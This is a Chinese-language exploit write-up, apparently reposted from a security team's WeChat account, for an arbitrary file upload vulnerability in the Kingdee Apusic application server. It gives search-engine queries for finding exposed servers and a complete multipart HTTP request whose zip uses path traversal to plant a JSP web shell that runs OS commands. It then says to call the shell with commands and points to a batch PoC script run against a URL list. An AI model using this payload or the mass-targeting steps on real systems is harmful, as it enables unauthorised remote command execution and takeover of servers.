漏洞简介
金蝶 Apusic 应用服务器存在一个任意文件上传漏洞，攻击者可以通过构造恶意请求上传恶意文件到服务器，导致服务器失陷。
漏洞复现
步骤一：使用以下语法进行资产收集并确定测试目标...
# 搜索语法- fofa：app="Apusic应用服务器" fid="rqhtFwF4sIF7wTOroKTQGw=="- zoomeye:Apusic应用服务器- hunter: web.similar_id="c85578f46ba3b40d6c07fd0f502c090b"
步骤二：开启BP并抓取其首页数据包修改为以下内容并进行文件上传测试...
POST /admin//protect/application/deployApp HTTP/1.1Host:IPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Length: 2053------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="appName"444------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="deployInServer"false------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="clientFile"; filename="evi1.zip"Content-Type: application/x-zip-compressed{{unquote("PKx03x04x14x00x00x00x00x00xe5yx09Ukx0axc8xe7dx01x00x00dx01x00x007x00x00x00../../../../applications/default/public_html/shell5.jsp<%x0dx0a if x28"admin".equalsx28request.getParameterx28"pwd"x29x29x29 x7bx0dx0a java.io.InputStream input = Runtime.getRuntimex28x29.execx28request.getParameterx28"cmd"x29x29.getInputStreamx28x29;x0dx0a int len = -1;x0dx0a byte[] bytes = new byte[4092];x0dx0a while x28x28len = input.readx28bytesx29x29 != -1x29 x7bx0dx0a out.printlnx28new Stringx28bytes, "GBK"x29x29;x0dx0a x7dx0dx0a x7dx0dx0a%>PKx01x02x14x03x14x00x00x00x00x00xe5yx09Ukx0axc8xe7dx01x00x00dx01x00x007x00x00x00x00x00x00x00x00x00x00x00xb4x81x00x00x00x00../../../../applications/default/public_html/shell5.jspPKx05x06x00x00x00x00x01x00x01x00ex00x00x00xb9x01x00x00x00x00")}}------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="archivePath"------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="baseContext"------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="startType"auto------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="loadon"------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="virtualHost"------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="allowHosts"------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="denyHosts"------WebKitFormBoundaryd9acIBdVuqKWDJbd--
步骤三：访问上传之后的Webshell并传入命令参数回显命令..
批量脚本
# 项目地址https://github.com/MD-SEC/MDPOCS# 执行命令python Suda_Report_FileUpload_Poc.py url.txt
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原文始发于微信公众号（揽月安全团队）：金蝶 Apusic 应用服务器任意文件上传漏洞
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